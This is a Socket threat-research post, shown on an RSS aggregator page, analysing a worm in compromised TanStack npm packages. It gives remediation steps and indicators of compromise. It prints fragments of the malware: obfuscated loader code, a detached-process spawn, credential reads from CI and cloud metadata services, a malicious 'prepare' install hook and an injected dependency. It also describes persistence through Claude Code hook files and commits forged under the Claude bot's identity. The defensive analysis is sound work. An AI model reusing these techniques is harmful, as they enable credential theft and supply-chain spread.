惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Visual Studio Blog
T
Tailwind CSS Blog
Google DeepMind News
Google DeepMind News
D
DataBreaches.Net
P
Proofpoint News Feed
Simon Willison's Weblog
Simon Willison's Weblog
Microsoft Azure Blog
Microsoft Azure Blog
MongoDB | Blog
MongoDB | Blog
腾讯CDC
月光博客
月光博客
A
Arctic Wolf
T
Threatpost
Jina AI
Jina AI
博客园 - 聂微东
美团技术团队
V
V2EX
云风的 BLOG
云风的 BLOG
宝玉的分享
宝玉的分享
Recent Commits to openclaw:main
Recent Commits to openclaw:main
M
MIT News - Artificial intelligence
S
Secure Thoughts
Martin Fowler
Martin Fowler
Webroot Blog
Webroot Blog
V
Vulnerabilities – Threatpost
爱范儿
爱范儿
人人都是产品经理
人人都是产品经理
Help Net Security
Help Net Security
Google Online Security Blog
Google Online Security Blog
博客园 - Franky
The Last Watchdog
The Last Watchdog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
阮一峰的网络日志
阮一峰的网络日志
博客园 - 【当耐特】
S
Schneier on Security
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Know Your Adversary
Know Your Adversary
Latest news
Latest news
有赞技术团队
有赞技术团队
AWS News Blog
AWS News Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Y
Y Combinator Blog
G
Google Developers Blog
NISL@THU
NISL@THU
H
Heimdal Security Blog
L
LangChain Blog
T
Troy Hunt's Blog
I
InfoQ
U
Unit 42
C
Check Point Blog
Engineering at Meta
Engineering at Meta

Socket

White House Launches Gold Eagle Initiative to Manage Surge i... Suno Breached via Shai-Hulud Worm, Leaked Code Exposes AI Mu... Next.js moves to scheduled security releases - Socket 11 Malicious NuGet Tools Pose as Game Cheats to Drop a Windo... Compromised npm Packages in the AsyncAPI Namespace Deliver M... jscrambler npm Package Compromised in Supply Chain Attack - ... Fake Braintree NuGet Package Skims Credit Cards and Harvests... Compromised Injective SDK npm Package Exfiltrates Wallet Key... npm v12 Ships With Install Scripts Off by Default, Begins De... Malicious Go Module Exposes GitHub Malware Lure Network Span... pnpm 11.10 Hardens Registry Authentication to Block Token Re... Coordinated npm and PyPI Campaign Typosquats Popular Secure ... Node.js Considers Public Workflow for Security Reports Amid ... PolinRider: North Korea-Linked Supply Chain Campaign Expands... Risky Biz Podcast: AI Agents Are Raising the Stakes for Soft... Chrome and Firefox Extensions Posing as Free VPNs Add Clipbo... Miasma Mini Shai-Hulud Hits ImmobiliareLabs npm Packages - S... Rolldown Pulls Rust React Compiler Integration After Binary ... Miasma Mini Shai-Hulud Hits LeoPlatform npm Packages and Git... Frontier AI Is Now Critical Infrastructure - Socket The Code You Didn't Write Is Still Yours to Defend - Socket GitHub Actions Checkout Now Blocks Risky pull_request_target... Introducing Repository Access Permissions and Custom Roles -... Socket MCP Adds Org Alerts, Threat Feed Review, and Package ... Socket Firewall Now Blocks Malicious VS Code and Open VSX Ex... 140+ Mastra npm Packages Compromised in Coordinated Supply C... npm Package Uses Prompt Injection and Token Flooding to Disr... Introducing Manifest Alerts - Socket GlassWASM: WebAssembly Malware Found in Trojanized Open VSX ... Socket for Linear Is Now Available - Socket US Government Forces Anthropic to Pull Claude Fable Days After Launch 152 Chrome Live Wallpaper Extensions Hid Ad Tracking and Faked Google Search Traffic Andrew Becherer Joins Socket as Chief Information Security Officer Socket Partners with Replit to Block Malicious Packages in AI-Powered Development npm Tooling Bug Incorrectly Marks One-Character Packages as Security Holders Mini Shai-Hulud, Miasma, and Hades Worms Target Bioinformatics and MCP Developers via Malicious PyPI Wheels Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems pnpm 11.5 Adds Support for Recognizing npm Staged Publishes pnpm 11.5 Adds Support for Recognizing npm Staged Publishes Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Famous Chollima Targets PHP Developers Through Compromised Packagist Package Famous Chollima Targets PHP Developers Through Compromised Packagist Package Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io Laravel Lang Compromised with RCE Backdoor Across 700+ Versions Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects AI Has Taken Over Open Source npm Invalidates Granular Access Tokens as Mini Shai-Hulud Sweeps the Registry Coruna Respawned: Compromised art-template npm Package Leads to iOS Browser Exploit Kit Socket raises $60M Series C at $1B valuation led by Thrive Capital to secure AI-driven software development Socket Raises $60M Series C at a $1B Valuation to Help Enterprises Build Securely With AI Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor Active Supply Chain Attack Compromises @antv Packages on npm Popular node-ipc npm Package Infected with Credential Stealer TeamPCP and BreachForums Launch $1,000 Contest for Supply Chain Attacks Packagist Urges Immediate Composer Update After GitHub Actions Token Leak GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government Socket Named to Rising in Cyber 2026 List of Top Cybersecurity Startups fsnotify Maintainer Dispute Sparks Supply Chain Concerns Socket Releases Free Certified Patches for Critical vm2 Sandbox Escape 5 Malicious NuGet Packages Impersonate Chinese UI Libraries to Distribute Crypto Wallet and Credential Stealer pnpm 11 Adds Supply Chain Protection Defaults for Minimum Release Age and Exotic Subdependencies PyPI Fixes High-Severity Access Control Issues Found in Security Audit Malicious Ruby Gems and Go Modules Impersonate Developer Tools to Steal Secrets and Poison CI Mini Shai-Hulud Spreads to Packagist: Malicious Intercom PHP Package Follows npm Compromise Intercom’s npm Package Compromised in Ongoing Mini Shai-Hulud Worm Attack lightning PyPI Package Compromised in Supply Chain Attack Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables SAP CAP npm Packages Hit by Supply Chain Attack Socket Has Acquired Secure Annex 73 Open VSX Sleeper Extensions Linked to GlassWorm Show New Malware Activations Introducing Reachability for PHP Introducing Data Exports Malicious Checkmarx Artifacts Found in Official KICS Docker Repository and Code Extensions Introducing Organization Notifications in Socket Introducing Reports: An Extensible Reporting Framework for Socket Data Socket for Jira Is Now Available Socket Named Top Sales Organization by RepVue NIST Officially Stops Enriching Most CVEs as Vulnerability Volume Skyrockets Socket Selected for OpenAI's Cybersecurity Grant Program Feross on the 10 Minutes or Less Podcast: Nobody Reads the Code 108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure Node.js Drops Bug Bounty Rewards After Funding Dries Up The Hidden Blast Radius of the Axios Compromise
TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack
Socket Resea · 2026-05-12 · via Socket

Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.

Install

The Socket Threat Research team detected a compromise across 84 npm package artifacts in the tanstack namespace. Affected packages were modified to add a suspected credential stealer targeting various CI systems, including Github Actions. All packages were flagged by Socket AI Scanner in six minutes or less after publication.

Several of the newly turned malicious packages, like pkg:npm/@tanstack/react-router have over 12 million weekly downloads, and are widely consumed both directly and transitively across the npm ecosystem, making this compromise especially significant from a software supply-chain perspective.

The malicious package versions all contain a newly added router_init.js file. The ~2.3 MB large file is heavily obfuscated using the javascript-obfuscator pattern (string-array rotation, hex-encoded identifier lookups like _0x253b, control-flow flattening inside while(!![]){} state machines, dead-code injection) — distinct from any normal minifier output (Terser, esbuild, swc). The file has spawn-based daemonization with a _DAEMONIZED re-entrancy guard and detached stdio; access to GITHUB* environment variables (Actions/CI-only secrets, including tokens and actor identity); temp-directory staging with read/write/unlink lifecycle; and remote streaming/dispatch operations.

The recently published versions also contain the following added optionalDependencies field in their package.json file, resolving to a commit in the TanStack/router repository under commit hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c.

  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }

The commit is highly suspicious because it is a standalone/root commit with no parent history and introduces only two files: a package.json and a bundled tanstack_runner.js payload. The added package.json defines a package named @tanstack/setup and registers a prepare lifecycle hook that executes bun run tanstack_runner.js && exit 1. Since npm lifecycle hooks execute automatically when installing git-based dependencies, this allows arbitrary code to run on developer workstations or CI systems during installation.

The commit was authored by the GitHub account voicproducoes, whose public repositories include projects named “A Mini Shai-Hulud has Appeared”, signaling that this compromise is likely connected to recent large-scale npm supply-chain malware campaigns and indication that the account has been taken over. Analysis of the tanstack_runner.js is forthcoming.

TanStack’s postmortem attributes the compromise to a chained GitHub Actions attack involving the pull_request_target “Pwn Request” pattern, GitHub Actions cache poisoning across the fork-to-base trust boundary, and runtime memory extraction of an OIDC token from the GitHub Actions runner process. The TanStack team said no npm tokens were stolen and that the npm publish workflow itself was not compromised. Instead, the malicious publishes were authenticated through the project’s OIDC trusted-publisher binding after attacker-controlled code ran during the workflow’s test/cleanup phase and posted directly to the npm registry.

TanStack has deprecated the affected versions, engaged npm security to pull the malicious tarballs, purged GitHub Actions cache entries, and merged hardening changes to restructure the affected workflow, add repository-owner guards, and pin third-party action references.

We are tracking this compromise as part of the ongoing Mini Shai-Hulud campaign: https://socket.dev/supply-chain-attacks/mini-shai-hulud

  1. Immediate triage: Run shasum -a 256 on all router_init.js files in your dependency tree. Match against ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.
  2. Rotate all secrets immediately on any system that installed an affected @tanstack/* version. Priority order: npm tokens, GitHub PATs/OIDC trusts, AWS credentials (static keys and instance roles), Vault tokens, Kubernetes service account tokens.
  3. Revoke GitHub Actions OIDC federation grants for any npm package published from affected repos; re-establish only after confirming the publishing workflow has not been tampered with.
  4. Audit .claude/ and .vscode/ directories in all developer home directories and project roots. Remove router_runtime.jssetup.mjs, and any unfamiliar entries in settings.json hooks or tasks.json.
  5. Review recent commits to your GitHub repositories for the author claude@users.noreply.github.com that were not initiated through the legitimate Claude Code GitHub App. Use git log --all --author=claude@users.noreply.github.com to locate them; revert and force-push if found.
  6. Scan npm publishing logs for any unexpected publishes from your organization's packages, particularly versions published from GitHub Actions runners that were not initiated by a team member.
  7. Block egress to filev2.getsession[.]org and related Session infrastructure at the perimeter if not in active use. The IP range for Session's service node network is distributed, so DNS-level blocking of .getsession.org is more effective than IP rules.
  8. Implement Subresource Integrity or package lock verification with a pinned integrity field for all @tanstack/* packages in package-lock.json or pnpm-lock.yaml. Any version with a hash mismatch should block CI.
  9. Restrict OIDC token scopes in GitHub Actions workflows: set permissions: id-token: none in all workflows that do not explicitly need OIDC publishing, and pin the id-token: write permission to only the specific job that publishes.
  10. Do not trust Sigstore provenance badges alone as a security signal. This implant demonstrates that an attacker who can execute in GitHub Actions can generate valid Sigstore attestations for malicious packages.

The table below tracks compromised package artifacts across all Mini Shai-Hulud waves and can be sorted by detected time to find the latest packages compromised today, including Mistral AI, UiPath, TanStack, and others.

All Compromised Packages#

Loading affected packages…

Technical Analysis#

router_init.js

router_init.js is a fully self-contained supply-chain worm disguised as an initialization module for the @tanstack/router-* package family. The payload combines a credential-harvesting engine targeting GitHub Actions, AWS (IMDS, Secrets Manager, SSM), HashiCorp Vault, and Kubernetes with a worm propagation mechanism that steals an npm OIDC token from GitHub Actions CI environments and autonomously republishes itself to the npm registry under the stolen identity of compromised maintainers. Exfiltration is routed through the Session decentralized P2P network (filev2.getsession[.]org) using the embedded signalservice protobuf and onion-routed snode service nodes, making C2 traffic nearly indistinguishable from encrypted messaging app telemetry. Persistence is achieved by writing copies of itself into Claude Code's hook directory (.claude/) and VS Code's task runner (.vscode/tasks.json) to survive across developer workstation reboots, extending the worm beyond CI into developer machines. The implant's 2.3 MB single-line body, heavy _0x dispatcher obfuscation, and a secondary beautify() XOR decode layer with 148 encoded strings make static analysis labor-intensive without automated deobfuscation tooling.

Obfuscation Analysis

The file opens with the canonical obfuscator.io / JavaScript Obfuscator string-array rotation pattern: a self-invoking function that builds a large internal array of strings, then repeatedly rotates it until a numerical checksum matches. All string literals in the payload are replaced by calls into this array via a dispatcher function.

// First 500 bytes — string-array rotation bootstrap
const _0x5b1880=_0x253b;
(function(_0x4116b8,_0x2320bb){
  const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8();
  while(!![]){
    try{
      const _0x22fd2a =
        parseInt(_0x5f1a07(0xf54))/0x1
        + parseInt(_0x5f1a07(0x806))/0x2 * (parseInt(_0x5f1a07(0x13c4))/0x3)
        + parseInt(_0x5f1a07(0xb77))/0x4 * (parseInt(_0x5f1a07(0x1f0f))/0x5)
        ...

The primary dispatcher _0x5b1880 is invoked 2,864 times on the single source line alone. On top of the _0x layer, the author implemented a second decode layer through a custom function called beautify(). This function takes base64-encoded ciphertext strings and decodes them at runtime — likely XOR or AES — before using the result as an argument to process.env[]. This double-encoding is specifically designed to defeat simple grep-based string extraction of environment variable names:

// 148 beautify()-encoded process.env accesses, e.g.:
process.env[beautify('rX54ou2uVvizjlyyIxhohB/m')]
process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')]
process.env[beautify('th5/odSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG//RWUsMqMmU=')]
process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')]
// ...and 144 more

The plaintext variable names for these beautify() blobs are unknown without dynamic execution or key extraction. The confirmed plaintext process.env accesses (not encoded) are listed in Stage 2 and Stage 3 below; the encoded set likely includes the remainder of the GITHUB_* suite, full AWS credential names, and Vault paths mentioned below.

Daemonization and Persistence

The implant begins execution by checking for the presence of process.env.__DAEMONIZED. If the variable is not set, the current process immediately forks a detached copy of itself with stdio set to ['ignore','ignore','ignore'], effectively severing the child from the parent's standard streams. The parent then exits cleanly. This ensures the malicious payload does not appear in the npm install or script execution output, and the child process is fully decoupled from the installing terminal session.

// Daemon fork guard — fires on first execution only
if (process.env.__DAEMONIZED) return !0x1;  // already daemonized, skip

// Fork detached with all stdio suppressed
spawn(..., {
  detached: true,
  stdio: ['ignore', 'ignore', 'ignore']
}).unref();

The unref() call ensures Node.js does not wait for the child before exiting, making the parent's exit appear completely normal. Once running detached, the implant writes copies of itself into two developer tooling directories to survive across reboots and future tool invocations:

# Claude Code hooks persistence
.claude/router_runtime.js     ← self-copy of implant body
.claude/settings.json         ← Claude hooks config (runs implant on tool events)
.claude/setup.mjs             ← ESM loader shim

# VS Code task runner persistence
.vscode/setup.mjs             ← ESM loader shim
.vscode/tasks.json            ← VS Code task definition, runs setup.mjs on folder open

The .claude/settings.json write is particularly insidious: Claude Code supports a hooks configuration that executes shell commands in response to tool events (file edits, bash runs, etc.). By writing itself into that config, the implant ensures it re-executes every time a developer uses Claude Code in the affected project directory, even if the original npm package is removed. The .vscode/tasks.json path provides an independent execution vector via VS Code's workspace task auto-run feature. Together, these two persistence mechanisms mean simple npm uninstall is insufficient remediation.

Environment Fingerprinting

Before harvesting credentials, the implant profiles the execution environment across three dimensions: CI platform, operating system, and JavaScript runtime. This gating prevents noisy credential requests in environments where they would fail or trigger alerts.

// CI platform detection (plaintext)
process.env.GITHUB_REPOSITORY   // primary CI gate
process.env.RUNNER_OS           // confirms GitHub Actions runner

// OS targeting — three platforms covered
process.platform === 'linux'
process.platform === 'darwin'
process.platform === 'win32'

The implant contains large platform-specific arrays encoded behind beautify() — visible as eS['LINUX'], which resolves to dozens of decoded path strings. This suggests platform-conditioned credential harvest paths (e.g., different shell profile locations on Linux vs macOS). The npms.io query seen in network indicators suggests the implant also performs an online lookup (https://npms.io/search?q=ponyfill) early in execution — likely to resolve a dependency or test network reachability before proceeding to exfil.

Credential Harvesting

This is the implant's most extensive stage. It systematically sweeps every major secrets plane available inside modern cloud-native CI environments, using both direct environment variable reads and active API calls.

GitHub Actions

The Actions credential sweep targets the runner's environment variable namespace and reaches out to the GitHub API to enumerate repository-level secrets:

# Confirmed plaintext env var reads
GITHUB_REPOSITORY
GITHUB_REPOSITORY_ID
GITHUB_SERVER_URL
GITHUB_WORKFLOW_REF
GITHUB_EVENT_NAME
ACTIONS_ID_TOKEN_REQUEST_TOKEN
ACTIONS_ID_TOKEN_REQUEST_URL   ← used for OIDC token acquisition (Stage 4)

# GitHub REST API call — paginated secrets enumeration
GET https://api.github.com/repos/<GITHUB_REPOSITORY>/actions/secrets?per_page=100

The per_page=100 parameter is the maximum allowed by the GitHub API, meaning a single request harvests the full secrets list for any repository the runner has admin access to.

AWS

The AWS harvest operates across four distinct credential sources, covering virtually every AWS deployment model:

# Environment variable reads (plaintext)
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_REGION
AWS_ROLE_ARN
AWS_WEB_IDENTITY_TOKEN_FILE    ← IRSA / OIDC-based workload identity

# EC2/ECS Instance Metadata Service
http://169.254.169.254/latest/api/token    ← IMDSv2 PUT request for session token
                                              (header: X-aws-ec2-metadata-token-ttl-seconds)
http://169.254.170.2                        ← ECS Task Metadata Endpoint v2

# AWS service APIs (plaintext identifiers in file)
secretsmanager    ← AWS Secrets Manager
ssm               ← Systems Manager Parameter Store

The IMDSv2 flow is correctly implemented — the implant first acquires a session token via PUT /latest/api/token with the X-aws-ec2-metadata-token-ttl-seconds header, then uses the returned token in X-aws-ec2-metadata-token headers on subsequent metadata reads. This is not a naive IMDSv1 attempt; it will succeed against hardened instances that have disabled IMDSv1. The executeForRegion function name, visible in plaintext, suggests Secrets Manager and SSM Parameter Store are queried across multiple regions in sequence, not just the runner's current region — maximizing credential surface area on accounts with multi-region deployments.

HashiCorp Vault

# Vault environment variable reads
VAULT_TOKEN
VAULT_AUTH_TOKEN
VAULT_ADDR

# Vault cluster internal service endpoint
vault.svc.cluster.local:8200   ← Kubernetes-internal Vault API

# Vault token path (partial URL fragment present)
vault/token

The svc.cluster.local:8200 endpoint is the standard Kubernetes DNS name for a Vault pod deployed inside a cluster. This means the implant is explicitly targeting Vault running inside Kubernetes, not just standalone deployments. Combined with the Kubernetes service account sweep below, this provides a full credential chain: steal the K8s service account token → use it to authenticate to Vault → retrieve all Vault-managed secrets.

Kubernetes

# Filesystem credential paths
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
namespace    ← reads the serviceaccount namespace file

# Likely also reads (path present in same directory, beautify-encoded):
# /var/run/secrets/kubernetes.io/serviceaccount/token

The service account CA certificate (ca.crt) is used to validate TLS connections back to the Kubernetes API server, while the token file (encoded, not plaintext) contains the JWT bearer token used to authenticate. Together these provide full in-cluster API access at whatever RBAC privileges the pod's service account holds — in many misconfigured clusters, this means cluster-admin.

Stage 2 — npm Worm Propagation

The implant's self-replication capability is its most dangerous attribute from an ecosystem perspective. It exploits the GitHub Actions OIDC federation mechanism — designed to provide passwordless publishing — to mint a valid npm publish token on behalf of the compromised CI identity.

# OIDC token acquisition (GitHub Actions runner)
ACTIONS_ID_TOKEN_REQUEST_TOKEN   ← GitHub-provided auth token for OIDC request
ACTIONS_ID_TOKEN_REQUEST_URL     ← endpoint to call for JWT OIDC token

# npm token verification
https://registry.npmjs.org/-/npm/v1/tokens   ← confirm token validity / whoami

# Publishing
publishPackage()    ← bundles and publishes the implant
tarball / .tgz      ← package archive format
tar.zst             ← zstd-compressed variant
dist-tags           ← injects implant under existing dist-tags (e.g., 'latest')
oidcToken           ← the minted OIDC JWT used as npm auth

The propagation flow is: (1) request an OIDC JWT from the Actions token endpoint, (2) exchange it for an npm publish token via npm's OIDC trust federation, (3) identify maintainer-owned packages (via npms.io search), (4) bundle a copy of router_init.js into a .tgz/tar.zst archive, and (5) publish under the latest dist-tag. Any developer who subsequently runs npm install on a targeted package pulls the worm.

The sigstore string present in the file indicates the implant also submits a Sigstore provenance attestation to a transparency log after publishing. This is particularly deceptive: npm's provenance badges are specifically designed to build trust, and an implant-published package that carries a "verified provenance" badge will pass cursory security reviews. The provenance record will point to the attacker-controlled GitHub Actions run that performed the publish, but the log entry itself makes the package appear legitimate.

Stage 3 — Repository Poisoning via GitHub GraphQL

Beyond npm propagation, the implant targets the source repositories of maintainers whose credentials it has harvested. Using the GitHub GraphQL API with a stolen token, it commits copies of itself directly to repository branches.

# GitHub GraphQL mutation — confirmed plaintext in file
createCommitOnBranch    ← creates commits without local git clone

# Target paths written to maintainer repos
.github/workflows/      ← injects itself into CI pipeline definitions
.claude/router_runtime.js
.claude/settings.json
.claude/setup.mjs
.vscode/setup.mjs
.vscode/tasks.json

# Spoofed commit identity
claude@users.noreply.github.com   ← impersonates the Claude Code bot account

The createCommitOnBranch GraphQL mutation operates directly on GitHub's API without requiring a local git installation or clone, meaning this stage runs identically whether the implant is executing on a CI runner or a developer workstation. The commit author is spoofed to claude@users.noreply.github.com, impersonating the legitimate Anthropic Claude Code GitHub App. In repositories where Claude Code is an approved integration, this commit will blend into normal activity.

NOTE: The worm copies itself to the filename router_runtime.js to blend in. This filename was shared in previous Mini Shai-Hulud campaigns.

Exfiltration via Session P2P Network

The implant makes an unusual choice for its C2 channel: rather than a conventional HTTPS beacon to an attacker-controlled server, it routes all harvested credentials through the Session decentralized messaging network. The full Session protocol stack — including the signalservice Protocol Buffers schema — is embedded directly in the 2.3 MB payload.

# Primary exfil endpoint
http://filev2.getsession[.]org/file/    ← Session file server endpoint

# Session protocol internals embedded in payload
signalservice.Envelope
signalservice.Content
signalservice.DataMessage
signalservice.WebSocketMessage
signalservice.SharedConfigMessage
signalservice.CallMessage
signalservice.DataExtractionNotification

# P2P routing
executeStreaming    ← sends data through Session service node network
snode              ← service node routing object

Routing exfiltration through Session's snode network means C2 traffic appears as end-to-end encrypted messaging protocol traffic — indistinguishable from legitimate Session app usage at the network layer. The executeStreaming function sends data across the P2P service node swarm.

tanstack_runner.js (Variant 2)

This file is a heavily obfuscated JavaScript payload targeting Node.js/Bun environments. Although it initially resembles bundled application code, the script behaves like a credential stealer focused on CI/CD infrastructure and developer systems. The malware enumerates process.env, checks for GitHub Actions and runner environments, and attempts to harvest secrets from GitHub, npm, AWS, Kubernetes, and Vault deployments. While both this file androuter_init.js, which contains credential theft, CI targeting, and package publication capabilities, have significant overlap,tanstack_runner.js contains a self-propagation routine adding a malicious optionalDependencies entry to a package’s package.json file.

The file uses a classic string-array obfuscator to hide its functionality:

const _0x12ada1=_0x3782;

(function(_0x2e175c,_0x465e49){

while(!![]){

try{

// rotates encoded string table

} catch(e){}

}

}(_0x360f,0x18ffa));

Once decoded, the payload reveals logic targeting CI credentials and cloud metadata services. Targeted secrets include:

  • GITHUB_TOKEN
  • NPM_TOKEN
  • AWS_ACCESS_KEY_ID
  • VAULT_TOKEN
  • EC2 metadata service at 169.254.169.254
  • Local Vault instance at 127.0.0.1:8200
  • Kubernetes service account token path: /var/run/secrets/kubernetes.io/serviceaccount/token

The malware validates GitHub tokens against GitHub APIs and attempts to access EC2 IAM metadata:

fetch("https://api.github.com/user", {

headers: {

Authorization: `token ${token}`

}

});

http.get(

"http://169.254.169.254/latest/meta-data/iam/security-credentials/"

)

It also contains detached child-process execution for persistence:

spawn(process.argv[0], args, {

detached: true,

stdio: "ignore"

}).unref();

Beyond credential theft, the payload also appears to implement a supply-chain propagation mechanism designed to infect additional npm packages. The clearest indicator is the updateTarball() routine, which extracts a package tarball, rewrites its package.json, injects a malicious dependency, increments the package version, and repacks the archive for redistribution. The injected dependency points to a GitHub-hosted package named @tanstack/setup:

_0x656e4f['optionalDependencies'] = {};

_0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] =
  'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c';

The corresponding deobfuscated behavior is effectively:

packageJson.optionalDependencies = {};

packageJson.dependencies["@tanstack/setup"] =
  "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c";

The referenced GitHub commit is particularly suspicious because it introduces a standalone package containing a prepare lifecycle hook:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

Because npm automatically executes lifecycle hooks for Git-based dependencies during installation, any downstream installation of the modified package will automatically execute tanstack_runner.js on the next victim machine or CI runner.

The propagation logic and dependency injection techniques closely resemble tradecraft previously documented in recent npm and PyPI supply-chain compromises analyzed by Socket, including the Intercom, Lightning AI, and SAP CAP incidents. In particular, the malware’s use of GitHub-hosted dependencies, malicious lifecycle hooks (prepare), CI/CD credential targeting, and automated package modification have been observed in the prior waves of this campaign.

Indicators of Compromise (IOCs)#

Files

router_init.js / router_runtime.js

  • SHA256 ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • SHA1 12ed9a3c1f73617aefdb740480695c04405d7b4b
  • MD5 833fd59ebe66a4449982c6d18db656b4

tanstack_runner.js / router_init.js

  • SHA256 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
  • SHA1 e7d582b98ca80690883175470e96f703ef6dc497
  • MD5 b82e54923f7e440664d2d75bd31588ca

Network

hxxp://filev2[.]getsession[.]org/file/

(DO NOT BLOCK below)

  • hxxp://169[.]254[.]169[.]254/latest/api/token (AWS EC2 IMDSv2 token acquisition)
  • hxxp://169[.]254[.]170[.]2 (AWS ECS Task Metadata Endpoint credential harvest)
  • hxxps://api[.]github[.]com/repos/ (GitHub REST API — secrets enumeration and repo manipulation)
  • hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens (npm token validation)
  • vault[.]svc[.]cluster[.]local:8200 (In-cluster HashiCorp Vault API endpoint)